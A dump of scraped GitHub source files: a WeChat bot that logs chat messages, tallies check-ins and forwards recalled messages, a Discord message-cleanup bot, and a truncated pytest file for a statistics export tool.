+{"seq_id":"70438111122","text":"\nfrom config import db_conn, rec_tmp_dir,groupnames\nimport itchat\nfrom itchat.content import *\nimport time\nfrom model.model import wxrobot,Statistical,getresult\nimport os\nimport re\n\nrec_msg_dict = {}\nrec_group_dict = {} #群聊消息\nface_bug = None #表情包内容\nmsg_information = {}    #处理撤回消息的字典\nloadUser = {}   #登录用户信息\n# 'UserName': '@8877ed05f155e792c87d3ea2a2f240a63afd579fb92916b7f1a22409c7b2bfea', 'City': '', 'DisplayName': '', 'PYQuanPin': '', 'RemarkPYInitial': '', 'Province': '', 'KeyWord': '', 'RemarkName': '', 'PYInitial': '', 'EncryChatRoomId': '', 'Alias': '', 'Signature': '我们的征途是星辰和大海', 'NickName': '心安', 'RemarkPYQuanPin': '', 'HeadImgUrl': '/cgi-bin/mmwebwx-bin/webwxgeticon?seq=83375339&username=@8877ed05f155e792c87d3ea2a2f240a63afd579fb92916b7f1a22409c7b2bfea&skey=@crypt_ce55c70d_608fa9782257d9b38e97b9259a92fd4e', 'UniFriend': 0, 'Sex': 1, 'AppAccountFlag': 0, 'VerifyFlag': 0, 'ChatRoomId': 0, 'HideInputBarFlag': 0, 'AttrStatus': 0, 'SnsFlag': 17, 'MemberCount': 0, 'OwnerUin': 0, 'ContactFlag': 0, 'Uin': 813635521, 'StarFriend': 0, 'Statues': 0, 'MemberList': [], 'WebWxPluginSwitch': 0, 'HeadImgFlag': 1}\n\n#机器人登录成功\ndef after_login():\n    print('微信robot登录成功')\n    global mydb, loadUser\n    mydb = db_conn()\n    loadUser = itchat.search_friends()\n\n#机器人退出登录\ndef after_logout():\n    print('微信robot退出成功')\n    mydb.close()\n\n#接收到的好友消息处理\ndef deal_user_msg(msg):\n    global face_bug\n    msg_id = msg['MsgId']   #消息 id\n    msg_from_user = msg['FromUserName']     #来源用户 id\n    if msg_from_user == loadUser['UserName']:  # 是登录用户自己发的回复消息\n        msg_from_user_name = loadUser['NickName']   #昵称是自己\n    else:\n        try:\n            msg_from_user_name = msg['User']['NickName'] if u'NickName' in msg['User'] else msg['User']['UserName'] #来源用户昵称\n        except:\n            try:\n                msg_from_user = itchat.search_friends(userName=msg['FromUserName'])\n                if msg_from_user['RemarkName']:\n                    msg_from_user_name = msg_from_user['RemarkName']\n                else:\n                    msg_from_user_name = msg_from_user['NickName']\n\n            except:\n                msg_from_user_name = '未知用户'\n    msg_content = ''\n    msg_time_rec = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n    msg_type = msg['Type']  #消息类型\n\n    msg_share_url = None\n\n    if msg['Type'] == 'Text':\n        msg_content = msg['Content']\n    elif msg['Type'] == 'Picture' \\\n            or msg['Type'] == 'Recording' \\\n            or msg['Type'] == 'Video' \\\n            or msg['Type'] == 'Attachment':\n        try:\n            user_nickname = msg['ActualNickName'][:2]  # 如果是群消息会从这里获取昵称\n        except:\n            user_nickname = msg_from_user_name  # 如果是单人消息从这里获取昵称\n        timnum = time.strftime(\"%Y%m%d%H%M%S\", time.localtime())\n        msg_content = user_nickname + '_' + timnum + user_nickname + msg['FileName']\n        # print('图片 content', msg_content)\n        # msg['Text'](rec_tmp_dir + msg['FileName'])\n        msg['Text'](rec_tmp_dir + msg_content)  # 保存文件到相应文件夹\n    elif msg['Type'] == 'Sharing':\n        msg_content = msg['Text']\n        msg_share_url = msg['Url']\n\n    rec_msg_dict.update({\n        'msg_id': msg_id,\n        'msg_from_user': msg_from_user,  # 发消息的用户 id\n        'msg_time_rec': msg_time_rec,\n        'msg_type': msg_type,\n        'msg_content': msg_content,\n        'msg_from_user_name': msg_from_user_name,   #发消息用户 id\n    })\n    face_bug = msg_content  #针对表情包内容\n    msg_information.update(\n        {\n            msg_id: {\n                \"msg_from\": msg_from_user_name, \"msg_time\": msg_time_rec, \"msg_time_rec\": msg_time_rec,\n                \"msg_type\": msg['Type'],\n                \"msg_content\": msg_content, \"msg_share_url\": msg_share_url\n            }\n        })\n\n    return rec_msg_dict\n\n#处理群消息\ndef deal_group_msg(msg):\n    global face_bug\n    msg_id = msg['MsgId']   #消息 id\n    try:\n        msg_from_user = msg['ActualUserName']     #来源用户 id  FromUserName的id是登录用户的id\n    except:\n        msg_from_user = msg['FromUserName']\n\n    if msg_from_user == loadUser['UserName']:   #是登录用户自己发的消息\n        msg_from_user_name = loadUser['NickName']\n        msg_group = msg['ToUserName']  # 自己发的消息群聊名称\n    else:\n        try:\n            msg_from_user_name = msg['User']['NickName'] if u'NickName' in msg['User'] else msg['User'][\n                'UserName']  # 来源用户昵称\n        except:\n            try:\n                msg_from_user_name = msg['ActualNickName']  # 获取来源用户昵称\n            except:\n                msg_from_user_name = '未识别用户昵称'\n\n        try:\n            msg_group = msg['User']['UserName'] if u'UserName' in msg['User'] else msg['User'][\n                'ToUserName']  # 接收方 ID（群聊id）\n        except:\n            msg_group = msg['FromUserName']  # 群聊 id\n\n    msg_group_name = itchat.search_chatrooms(userName=msg_group)['NickName']  # 群聊名称\n\n    msg_content = ''\n    msg_time_rec = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n    msg_type = msg['Type']  #消息类型\n\n    msg_share_url = None\n\n    if msg['Type'] == 'Text':\n        msg_content = msg['Content']\n    elif msg['Type'] == 'Picture' \\\n            or msg['Type'] == 'Recording' \\\n            or msg['Type'] == 'Video' \\\n            or msg['Type'] == 'Attachment':\n        try:\n            user_nickname = msg['ActualNickName'][:2]  # 如果是群消息会从这里获取昵称\n        except:\n            user_nickname = msg_from_user_name  # 如果是单人消息从这里获取昵称\n        timnum = time.strftime(\"%Y%m%d%H%M%S\", time.localtime())\n        msg_content = user_nickname + '_' + timnum + user_nickname + msg['FileName']\n        # print('图片 content', msg_content)\n        # msg['Text'](rec_tmp_dir + msg['FileName'])\n        msg['Text'](rec_tmp_dir + msg_content)  # 保存文件到相应文件夹\n    elif msg['Type'] == 'Sharing':\n        msg_content = msg['Text']\n        msg_share_url = msg['Url']\n\n    rec_group_dict.update({\n        'msg_id': msg_id,\n        'msg_from_user': msg_from_user,  # 发消息的用户 id\n        'msg_time_rec': msg_time_rec,\n        'msg_type': msg_type,\n        'msg_content': msg_content,\n        'msg_from_user_name': msg_from_user_name,   #发消息用户 id\n        'msg_group': msg_group,  # 群聊 id\n        'msg_group_name': msg_group_name,  # 群聊名称\n    })\n    face_bug = msg_content  #针对表情包内容\n    msg_information.update(\n        {\n            msg_id: {\n                \"msg_from\": msg_from_user_name, \"msg_time\": msg_time_rec, \"msg_time_rec\": msg_time_rec,\n                \"msg_type\": msg['Type'],\n                \"msg_content\": msg_content, \"msg_share_url\": msg_share_url\n            }\n        })\n\n    return rec_group_dict\n\n#处理自己发的群消息\ndef deal_myself_msg(msg):\n    global face_bug\n    msg_id = msg['MsgId']  # 消息 id\n    msg_from_user = msg['FromUserName']  # 来源用户 i\n    msg_from_user_name = '心安'  # 昵称是自己\n\n    msg_group = msg['ToUserName']  #接收方群聊 id\n    try:\n        msg_group_name = itchat.search_chatrooms(userName=msg_group)['NickName']  # 群聊名称\n    except:\n        msg_group_name = '跑步打卡'\n\n    msg_content = ''\n    msg_time_rec = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n    msg_type = msg['Type']  # 消息类型\n\n    msg_share_url = None\n\n    if msg['Type'] == 'Text':\n        msg_content = msg['Content']\n    elif msg['Type'] == 'Picture' \\\n            or msg['Type'] == 'Recording' \\\n            or msg['Type'] == 'Video' \\\n            or msg['Type'] == 'Attachment':\n        try:\n            user_nickname = msg['ActualNickName'][:2]  # 如果是群消息会从这里获取昵称\n        except:\n            user_nickname = msg_from_user_name  # 如果是单人消息从这里获取昵称\n        timnum = time.strftime(\"%Y%m%d%H%M%S\", time.localtime())\n        msg_content = user_nickname + '_' + timnum + user_nickname + msg['FileName']\n        # print('图片 content', msg_content)\n        # msg['Text'](rec_tmp_dir + msg['FileName'])\n        msg['Text'](rec_tmp_dir + msg_content)  # 保存文件到相应文件夹\n    elif msg['Type'] == 'Sharing':\n        msg_content = msg['Text']\n        msg_share_url = msg['Url']\n\n    rec_msg_dict.update({\n        'msg_id': msg_id,\n        'msg_from_user': msg_from_user,  # 发消息的用户 id\n        'msg_time_rec': msg_time_rec,\n        'msg_type': msg_type,\n        'msg_content': msg_content,\n        'msg_from_user_name': msg_from_user_name,  # 发消息用户\n        'msg_group': msg_group,  # 群聊 id\n        'msg_group_name': msg_group_name,  # 群聊名称\n    })\n    face_bug = msg_content  # 针对表情包内容\n    msg_information.update(\n        {\n            msg_id: {\n                \"msg_from\": msg_from_user_name, \"msg_time\": msg_time_rec, \"msg_time_rec\": msg_time_rec,\n                \"msg_type\": msg['Type'],\n                \"msg_content\": msg_content, \"msg_share_url\": msg_share_url\n            }\n        })\n\n    return rec_msg_dict\n\n\n\n#好友消息\n@itchat.msg_register([TEXT, PICTURE, RECORDING,SHARING, ATTACHMENT, VIDEO], isFriendChat=True , isGroupChat=False)\ndef send_msg_test(msg):\n    msg_dict = deal_user_msg(msg)\n    if msg_dict['msg_content'] == '测试':\n        itchat.send_msg('收到测试数据', toUserName=msg_dict['msg_from_user'])\n\n    elif msg_dict['msg_content'] == '@@打卡统计':\n        res = getresult()\n        itchat.send_msg(res, toUserName=msg_dict['msg_from_user'])\n        group_ids = get_real_chat_room(groupnames)\n        for group_id in group_ids:\n            itchat.send_msg(res, toUserName=group_id)\n\n    elif msg_dict['msg_content'] == '群聊测试':\n        chat_room = itchat.search_chatrooms(name='测试群聊')\n        print(chat_room)\n        itchat.send_msg('群聊回复测试消息', toUserName=chat_room)\n\n\n    else:\n        r = wxrobot(msg_dict['msg_id'],msg_dict['msg_type'], msg_dict['msg_time_rec'], msg_dict['msg_content'], msg_dict['msg_from_user'], msg['ToUserName'], msg_dict['msg_from_user_name'],\n                    itchat.search_friends(userName=msg['ToUserName'])['NickName'], 0, 0, ' ', ' ')\n        r.insert_db()     #好友消息直接插入数据库\n        print('插入数据库成功')\n\n\n#群聊\n#通过群昵称获取真实chatName\ndef get_real_chat_room(groupnames):\n    res = []\n    for name in groupnames:\n        chat_rooms = itchat.search_chatrooms(name=name)\n        # print('chat_rooms:', chat_rooms)\n        if (len(chat_rooms) > 0):\n            res.append(chat_rooms[0]['UserName'])\n    # print('res',res)\n    return res\n#群消息\n@itchat.msg_register([TEXT, PICTURE, RECORDING, ATTACHMENT, VIDEO], isGroupChat=True)\ndef reply_msg(msg):\n    #假如是自己发的消息：\n    if msg['FromUserName'] == loadUser['UserName']:  # 是登录用户自己发的消息\n        deal_rep = deal_myself_msg(msg)\n\n        deal_rep['msg_user_nickname'] = '心安'  # 用户备注昵称\n        group_id = get_real_chat_room(groupnames)  # [...,...]\n       \n        if deal_rep['msg_group'] in group_id:\n\n            # itchat.search_friends()['NickName']   是扫码登录用户\n            # msg['ActualNickName']     发送消息用户\n\n            r = wxrobot(deal_rep['msg_id'], deal_rep['msg_type'], deal_rep['msg_time_rec'], deal_rep['msg_content'],\n                        deal_rep['msg_from_user'], '接收者 id',\n                        deal_rep['msg_from_user_name'], '接收者姓名', 0, 1,\n                        deal_rep['msg_group'],\n                        deal_rep['msg_group_name'])\n            r.insert_db()  # 监控的群内，存储所有群消息，包括文件\n\n            if deal_rep['msg_type'] == 'Text':\n                characterlist_head = str(deal_rep['msg_content'])[:2]\n                if characterlist_head == '打卡':\n                    stat = Statistical(deal_rep)  # 开始执行打卡信息保存与统计，只保存文本信息\n                    res = stat.saveuseinfo()\n                    if res == True:\n                        itchat.send_msg('加油，打卡已记录![呲牙]',\n                                        toUserName=deal_rep['msg_group'])\n                    else:\n                        time.sleep(1)\n                        itchat.send_msg('今日已经打过卡了[抠鼻]', toUserName=deal_rep['msg_group'])\n                else:\n                    print('聊天消息')\n        else:\n            print('其他群聊消息，不存数据库')\n\n    else:\n        deal_rep = deal_group_msg(msg)\n\n        deal_rep['msg_user_nickname'] = msg['ActualNickName']  # 用户备注昵称\n        group_id = get_real_chat_room(groupnames)  # [...,...]\n\n        if deal_rep['msg_group'] in group_id:\n\n            # itchat.search_friends()['NickName']   是扫码登录用户\n            # msg['ActualNickName']     发送消息用户\n\n            r = wxrobot(deal_rep['msg_id'],deal_rep['msg_type'], deal_rep['msg_time_rec'], deal_rep['msg_content'], deal_rep['msg_from_user'], itchat.search_friends()['UserName'],\n                        msg['ActualNickName'], itchat.search_friends()['NickName'], msg['isAt'], 1, deal_rep['msg_group'],\n                        deal_rep['msg_group_name'])\n            r.insert_db()  # 监控的群内，存储所有群消息，包括文件\n\n            if deal_rep['msg_type'] == 'Text':\n                characterlist_head = str(deal_rep['msg_content'])[:2]\n                if characterlist_head == '打卡':\n                    stat = Statistical(deal_rep)  # 开始执行打卡信息保存与统计，只保存文本信息\n                    res = stat.saveuseinfo()\n                    if res == True:\n                        itchat.send_msg('加油，打卡已记录![呲牙]',\n                                        toUserName=deal_rep['msg_group'])\n                    else:\n                        time.sleep(1)\n                        itchat.send_msg('今日已经打过卡了[抠鼻]', toUserName=deal_rep['msg_group'])\n                else:\n                    print('聊天消息')\n        else:\n            print('其他群聊消息，不存数据库')\n\n\n\n#=======================>微信消息防撤回==============\n@itchat.msg_register(NOTE, isFriendChat=True, isGroupChat=True, isMpChat=True)\ndef recall_msg(msg):\n    if '撤回了一条消息' in msg['Content']:\n        old_msg_id = re.search(\"\\<msgid\\>(.*?)\\<\\/msgid\\>\", msg['Content']).group(1)\n        # 得到消息\n        print('old_msg_id', old_msg_id)\n        old_msg = msg_information.get(old_msg_id)\n        print(old_msg)\n\n        # 如果发送的是表情\n        if len(old_msg_id) < 11:\n            itchat.send_file(face_bug, toUserName='filehelper')\n        # 发送撤回的提示给文件助手\n        else:\n            msg_body = \"【\" \\\n                       + old_msg.get('msg_from') + \"撤回了】\\n\" \\\n                       + old_msg.get(\"msg_type\") + \"消息:\" + \"\\n\" \\\n                       + old_msg.get(\"msg_time_rec\") + \"\\n\" \\\n                       + r\"\" + old_msg.get(\"msg_content\")\n\n        # 如果分享的文件被撤回了，那么就将分享的url加在msg_body中发送给文件助手\n        if old_msg['msg_type'] == \"Sharing\":\n            msg_body += \"\\n就是这个链接>\" + old_msg.get('msg_share_url')\n\n        # 将撤回消息发送到文件助手\n        itchat.send_msg(msg_body, toUserName=\"filehelper\")\n\n        # 有文件的话也要将文件发送回去\n        if old_msg[\"msg_type\"] == \"Picture\" \\\n                or old_msg[\"msg_type\"] == \"Recording\" \\\n                or old_msg[\"msg_type\"] == \"Video\" \\\n                or old_msg[\"msg_type\"] == \"Attachment\":\n            # old_msg['msg_content'] = old_msg['msg_content'].split('@')[-1]\n            print('文件名',old_msg['msg_content'])\n            file = \"@fil@%s\" % (rec_tmp_dir + old_msg['msg_content'])\n            itchat.send(msg=file, toUserName='filehelper')\n            # os.remove(old_msg['msg_content']) #不需要删掉文件吧\n\n        # 删除字典旧信息\n        msg_information.pop(old_msg_id)\n\n#登录\nif __name__ == '__main__':\n    itchat.auto_login(enableCmdQR=2, hotReload=True, loginCallback=after_login, exitCallback=after_logout)\n    # 使机器人后台运行，并进入交互模式\n    itchat.run()\n","repo_name":"Tomxuanxuan/WechatProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16635,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"70216915603","text":"import asyncio\nimport discord\nimport requests\nimport time\nfrom discord.ext import commands\nimport threading\n\n#####################################################\ndevMode = False  # IMPORTANT! CHANGE WHEN DEVELOPING!\n#####################################################\n\nversion = \"1.9.0\" # Format: Major.Minor.BugFix\nlastUpdated = \"31 Oct 2019\"\n\n# Set the bot description\ndescription = 'A simple Discord message cleaner.'\n\nif devMode:\n    cmdPrefix = '*'  # Set the prefix for commands. Default is \"/\".\nelse:\n    cmdPrefix = '/'  # Set the prefix for commands. Default is \"/\".\n\nprofileImage = \"https://i.imgur.com/e6NjKhh.png\"\nsupportServerURL = \"https://discord.gg/GqhxktM\"\n\nbot = commands.AutoShardedBot(command_prefix=cmdPrefix, description=description,\n                              activity=discord.Game(name='{}help'.format(cmdPrefix)))\n\n# Set buffer for total amount of mopped messages\ntotalMopped = 0\n\n\n# Set some setting things\nembedFooter = 'Mr. Mop Open Source v{} | {}help to view commands. | https://mrmop.ml'.format(version, cmdPrefix)\ngenericError = 'An error has occurred!'\nenjoyText = \"Mr. Mop is now open source!\\nVisit [https://mrmop.ml](https://mrmop.ml)\"\n\n# Set the bot permissions for invite links\nperms = \"93184\"\n\n# Get the current time\ncurrentTime = time.strftime(\"%H:%M\", time.gmtime())\n\n# Bot uptime stats\nstartTime = time.time()\n\n\ndef formatTime(seconds):\n    seconds = int(seconds)\n    days, seconds = divmod(seconds, 86400)\n    hours, seconds = divmod(seconds, 3600)\n    minutes, seconds = divmod(seconds, 60)\n    if days > 0:\n        return '%dd %dh %dm %ds' % (days, hours, minutes, seconds)\n    elif hours > 0:\n        return '%dh %dm %ds' % (hours, minutes, seconds)\n    elif minutes > 0:\n        return '%dm %ds' % (minutes, seconds)\n    else:\n        return '%ds' % (seconds,)\n\n\ndef upTime():\n    return formatTime(time.time() - startTime)\n\n\n# Remove default help command\nbot.remove_command('help')\n\n\n# Save and retrieve total mopped data // Default for 1.8 = 15,400,000\ndef saveMop(number):\n    global totalMopped\n    totalMopped = (totalMopped + number)\n\n    with open(r'mopCount.txt', 'r+') as f:\n        value = int(f.read())\n        f.seek(0)\n        f.write(str(value + number))\n        f.close()\n\n    if not devMode:\n        totalMopped = (totalMopped + number)\n\n        with open(r'mopCount.txt', 'r+') as f:\n            value = int(f.read())\n            f.seek(0)\n            f.write(str(value + number))\n            f.close()\n\n\ndef readMop():\n    with open(r'mopCount.txt', 'r+') as f:\n        value = int(f.read())\n        f.close()\n        # return \"{:,}\".format(value)\n        return value\n\n\n# Set initial total mopped amount\ntotalMopped = readMop()\n\n\n# Function to save server errors log\n#def PrintServerError(ctx, err):\n#    if not devMode:\n#        with open(r'logs/serverErrors.log', 'r+') as f:\n#            f.write(ctx.guild.name + \" | Error: \" + err + \"\\n\")\n#            f.close()\n\n\n# Info command\n@bot.command()\nasync def info(ctx):\n    try:\n        application_info = await bot.application_info()\n        serverCount = len(bot.guilds)\n        uptime = upTime()\n\n        e = discord.Embed(title='Bot Information & Statistics', colour=0x42cef4)\n\n        e.set_footer(text=embedFooter)\n\n        e.set_thumbnail(url=profileImage)\n\n        e.add_field(name='Mr. Mop Version', value=version)\n        e.add_field(name='Discord Version', value=discord.__version__)\n        e.add_field(name='Bot Username', value=application_info.name)\n        e.add_field(name='Bot ID', value=application_info.id)\n        e.add_field(name='Connected Servers', value=str(serverCount))\n        e.add_field(name='Latency (in seconds)', value=bot.latency)\n        e.add_field(name='Mr. Mop\\'s Current Shift', value=uptime)\n        e.add_field(name='Server Owner', value=ctx.guild.owner)\n        e.add_field(name='Total Mopped Messages', value=\"{:,}\".format(totalMopped))\n        e.add_field(name=\"Bot Last Updated\", value=lastUpdated)\n        e.add_field(name=\"Version Changes\", value=\"[https://mrmop.ml](https://mrmop.ml)\")\n\n        e.add_field(name=\"\\u200b\", value=\"\\u200b\")\n        e.add_field(name=\"\\u200b\", value=\"\\u200b\")\n\n        e.add_field(name=\"Enjoying Mr. Mop?\", value=enjoyText)\n\n        await ctx.channel.send(embed=e)\n\n    except Exception as e:\n        await ctx.channel.send(genericError)\n        PrintServerError(ctx, e)\n        return\n\n\n# Help command\n@bot.command()\nasync def help(ctx):\n    try:\n        e = discord.Embed(colour=0x42cef4)\n        e.set_footer(text=embedFooter)\n\n        e.set_author(name='Mr. Mop Help', icon_url=profileImage)\n        e.set_thumbnail(url=profileImage)\n\n        e.add_field(name='Clean up x messages (max 25)', value='```{}mop [x]```'.format(cmdPrefix))\n        e.add_field(name='Clean up to 100 current channel messages', value='```{}megamop```'.format(cmdPrefix))\n        e.add_field(name='Show the help text', value='```{}help```'.format(cmdPrefix), inline=False)\n        e.add_field(name='Show bot invite URL', value='```{}invite```'.format(cmdPrefix), inline=False)\n        e.add_field(name='View bot information & statistics', value='```{}info```'.format(cmdPrefix), inline=False)\n\n        e.add_field(name=\"\\u200b\", value=\"\\u200b\")\n        e.add_field(name=\"\\u200b\", value=\"\\u200b\")\n\n        e.add_field(name=\"Enjoying Mr. Mop?\", value=enjoyText)\n\n        await ctx.channel.send(embed=e)\n\n    except Exception as e:\n        await ctx.channel.send(genericError)\n        PrintServerError(ctx, e)\n        return\n\n\n# Invite command\n@bot.command()\nasync def invite(ctx):\n    try:\n        e = discord.Embed(colour=0x42cef4,\n                          url='https://discordapp.com/oauth2/authorize?client_id={}&scope=bot&permissions={}'.format(\n                              bot.user.id, perms))\n        e.set_footer(text=embedFooter)\n\n        e.set_author(name='Mr. Mop\\'s Party Invitation', icon_url=profileImage)\n        e.set_thumbnail(url=profileImage)\n\n        e.add_field(name='Invite Link',\n                    value='You can invite Mr. Mop to another server using the following URL:\\n**https://discordapp.com/oauth2/authorize?client_id={}&scope=bot&permissions={}**'.format(\n                        bot.user.id, perms))\n\n        e.add_field(name=\"\\u200b\", value=\"\\u200b\")\n        e.add_field(name=\"\\u200b\", value=\"\\u200b\")\n\n        e.add_field(name=\"Enjoying Mr. Mop?\", value=enjoyText)\n\n        await ctx.channel.send(embed=e)\n\n    except Exception as e:\n        await ctx.channel.send(genericError)\n        PrintServerError(ctx, e)\n        return\n\n## Check if the message is pinned or not and return FALSE if it is so as to not delete it during checks\ndef checkPinned(m):\n    if m.pinned == False:\n        return True\n    else:\n        return False\n\n# Remove last 100 messages regardless of sender (bot or otherwise)\n@bot.command()\n# Add a 10 second cooldown between mops\n@commands.cooldown(1, 10, commands.BucketType.guild)\n@commands.bot_has_permissions(manage_messages=True)\nasync def megamop(ctx):\n    try:\n\n        canClean = False\n\n        # Check the user has permissions to do the cleanup (\"Cleaner\" Role OR manage messages permission for current channel)\n        for role in ctx.message.author.roles:\n            if role.name == \"Cleaner\":\n                canClean = True\n\n        if ctx.author.permissions_in(ctx.channel).manage_messages == True:\n            canClean = True\n\n        if canClean == True:\n            await ctx.channel.send(\n                \"**<@{}> has instructed a mega mop cleanup! Please wait...**\".format(ctx.message.author.id))\n            await asyncio.sleep(3)\n            mopped = await ctx.channel.purge(limit=100, check=checkPinned)\n\n            if not devMode:\n                saveMop(len(mopped))  # Save mop stats\n        else:\n            await ctx.channel.send(\n                \"Sorry <@{}>, but to do that, you'll need the \\\"Manage Messages\\\" permission for this channel.\".format(\n                    ctx.message.author.id))\n            await ctx.message.delete()\n            raise RuntimeError(\"Invalid permissions for megamop command.\")\n\n    except RuntimeError as e:\n        PrintServerError(ctx, e)\n        return\n\n\n@bot.command()\n# Add a 10 second cooldown between mops\n@commands.cooldown(1, 10, commands.BucketType.guild)\n@commands.bot_has_permissions(manage_messages=True)\nasync def mop(ctx, number):\n    try:\n        canClean = False\n\n        # Check the user has permissions to do the cleanup (\"Cleaner\" Role OR manage messages permission for current channel)\n        for role in ctx.message.author.roles:\n            if role.name == \"Cleaner\":\n                canClean = True\n\n        if ctx.author.permissions_in(ctx.channel).manage_messages == True:\n            canClean = True\n\n        if canClean == True:\n\n            # Limit standard mop to 25 messages.\n            if int(number) > 25:\n                limit = 25\n            else:\n                limit = int(number)\n\n            await ctx.message.delete()\n            await ctx.channel.send(\n                \"**<@{}> has instructed a cleanup on aisle {}! Please wait...**\".format(ctx.message.author.id, limit))\n            await asyncio.sleep(3)\n            await ctx.channel.purge(limit=limit + 1, check=checkPinned)\n            if not devMode:\n                saveMop(limit + 1)  # Save mop stats\n\n        if not canClean:\n            await ctx.channel.send(\n                \"Sorry <@{}>, but to do that, you'll need the \\\"Manage Messages\\\" permission for this channel.\".format(\n                    ctx.message.author.id))\n            await ctx.message.delete()\n            raise RuntimeError(\"Invalid permissions for megamop command.\")\n\n    except RuntimeError as e:\n        PrintServerError(ctx, e)\n        return\n\n\n# Update the discordbots.org page with total server count\n#async def updateBotListAPI():\n    #while not bot.is_closed():\n\n        # Update discordbots.org count\n        #dboauthToken = \"********\"\n        #dbourl = \"https://discordbots.org/api/bots/********/stats\"\n        #dboheaders = {'content-type': 'application/json', 'Authorization': dboauthToken}\n        #dbor = requests.post(dbourl, json={\"server_count\": (len(bot.guilds))}, headers=dboheaders)\n        #if dbor.status_code != 200:\n        #    print(\"ERROR connecting to discordbots.org API!\\n\")\n\n        # Update discord.bots.gg count\n        #dbGGoauthToken = \"********\"\n        #dbGGourl = \"https://discord.bots.gg/api/v1/bots/********/stats\"\n        #dbGGoheaders = {'content-type': 'application/json', 'Authorization': dbGGoauthToken}\n        #dbGGor = requests.post(dbGGourl, json={\"guildCount\": (len(bot.guilds))}, headers=dbGGoheaders)\n        #if dbGGor.status_code != 200:\n        #    print(\"ERROR connecting to discord.bots.gg API!\\n\")\n\n        # Update discord.boats count\n        #dBoatsoauthToken = \"********\"\n        #dBoatsourl = \"https://discord.boats/api/bot/********\"\n        #dBoatsoheaders = {'content-type': 'application/json', 'Authorization': dBoatsoauthToken}\n        #dBoatsor = requests.post(dBoatsourl, json={\"server_count\": (len(bot.guilds))}, headers=dBoatsoheaders)\n        #if dBoatsor.status_code != 200:\n        #    print(\"ERROR connecting to discord.boats API!\\n\")\n\n        # Update botsfordiscord.com count\n        #bfdauthToken = \"********\"\n        #bfdurl = \"https://botsfordiscord.com/api/bot/********\"\n        #bfdheaders = {'content-type': 'application/json', 'authorization': bfdauthToken}\n        #bfdr = requests.post(bfdurl, json={\"server_count\": (len(bot.guilds))}, headers=bfdheaders)\n\n        # if bfdr.status_code != 200:\n        #    print(\"ERROR connecting to botsfordiscord.com API!\\n\")\n        # else:\n        #    print(\"\\x1b[1;37;40m\\nSuccessfully connected to botsfordiscord.com API.\\n\")\n\n        #for t in range(1200, -1, -1):  # Wait 20 minutes and update again\n            # timeLeft = \"{:02d}:{:02d}\".format(*divmod(t, 60))\n            # print(\" Refreshing in {}\".format(timeLeft), end=\"\\r\")\n        #    await asyncio.sleep(1)\n        #    continue\n\n\n# Deal with cooldown errors.\n@bot.event\nasync def on_command_error(ctx, error):\n    if isinstance(error, commands.CommandOnCooldown):\n        try:\n            await ctx.channel.send(\n                \"You need to wait at least 10 seconds between server mops <@{}>. Try again shortly.\".format(\n                    ctx.message.author.id))\n            return\n        except:\n            pass\n    if isinstance(error, commands.BotMissingPermissions):\n        try:\n            await ctx.channel.send(\n                \"Sorry <@{}>, but I need the \\\"Manage Messages\\\" permission for this channel to be able to do that.\".format(\n                    ctx.message.author.id))\n            return\n        except:\n            pass\n    else:\n        pass\n\n\n# Stop bot responding to other bots\n@bot.event\nasync def on_message(message):\n    if message.author.bot:\n        return\n    else:\n        await bot.process_commands(message)\n\n\n# Print login information to the server console\n@bot.event\nasync def on_ready():\n    print(\"\\nLogged in as: [{}] | User ID: [{}] | Start time: [{}]\\n\".format(bot.user.name, bot.user.id,\n                                                                             currentTime))\n\n    #if not devMode:\n        #bot.loop.create_task(updateBotListAPI())\n\n\nif devMode:\n    bot.run('********')  # DEVELOPMENT TOKEN ONLY!\n\nelse:\n    # Run the bot using token from Discord developer app page\n    bot.run('********')  # PRODUCTION TOKEN ONLY!\n","repo_name":"fuzzymannerz/MrMopDiscord","sub_path":"mop.py","file_name":"mop.py","file_ext":"py","file_size_in_byte":13446,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"29255028397","text":"import pytz\nimport pytest\nimport datetime as dt\nfrom collections import defaultdict\nfrom collections.abc import Iterator\nfrom pymongo.database import Database\n\nfrom maps.garden.sdk.yt import utils as yt_utils\nfrom maps.garden.tools.stat_updater.lib.yt_table_descriptions.parsing_tools import Key, Field as F\nfrom maps.garden.tools.stat_updater.lib.yt_table_descriptions.yt_types import (\n    String, Uint64, Timestamp, Yson\n)\nfrom maps.garden.tools.stat_updater.lib import export_to_yt\nfrom maps.garden.tools.stat_updater.lib.yt_stat_series import DATE_PATTERN\n\nKEY_FIELD_NAME = \"time\"\nCOLLECTION_NAME = \"collection\"\nBASE_PATH = \"//home/stat\"\nBASE_DATE = dt.datetime(year=2010, month=12, day=5, tzinfo=pytz.UTC)\n\nYT_TABLE_DESCRIPTIONS = {\n    f\"series{i}\": {\n        f\"collection{i}\": [\n            F(Key(KEY_FIELD_NAME), Timestamp),\n            F(f\"other_field{i}\", String, \"other_field\"),\n        ],\n        None: [\n            F(f\"some_field{i}\", Uint64),\n            F(f\"dict_field{i}\", Yson),\n        ]\n    }\n    for i in range(2)\n}\n\nBUILDS_STATISTICS_DESCRIPTION = {\n    None: [\n        F(Key(\"some_field\"), String),\n    ]\n}\n\n\nclass FakeYtStatSeries:\n    Storage = defaultdict(dict)\n\n    def __init__(\n        self,\n        yt_series_path,\n        yt_client,\n        schema,\n        key_field\n    ):\n        self.yt_series_path = yt_series_path\n\n    def get_last_table_date(self, *args, **kwargs):\n        return None\n\n    def save_for_date(self, date: dt.datetime, rows: Iterator[dict]):\n        rows = list(rows)\n        FakeYtStatSeries.Storage[self.yt_series_path][date.strftime(DATE_PATTERN)] = rows\n\n\nclass FakeBuildsStatisticsCreator:\n    def __init__(self, *args, **kwargs):\n        pass\n\n    def execute(self, export_date):\n        if export_date == BASE_DATE - dt.timedelta(days=3):\n            yield {\"some_field\": \"usefull_value\"}\n\n\n@pytest.mark.freeze_time(BASE_DATE)\ndef test_export_to_yt(db: Database, mocker, environment_settings):\n    for i in range(2):\n        collection = db[f\"{COLLECTION_NAME}{i}\"]\n        collection.insert_many([\n            {\n                KEY_FIELD_NAME: BASE_DATE - dt.timedelta(days=2),\n                \"other_field\": f\"name{i*2}-{1}\",\n            }, {\n                KEY_FIELD_NAME: BASE_DATE - 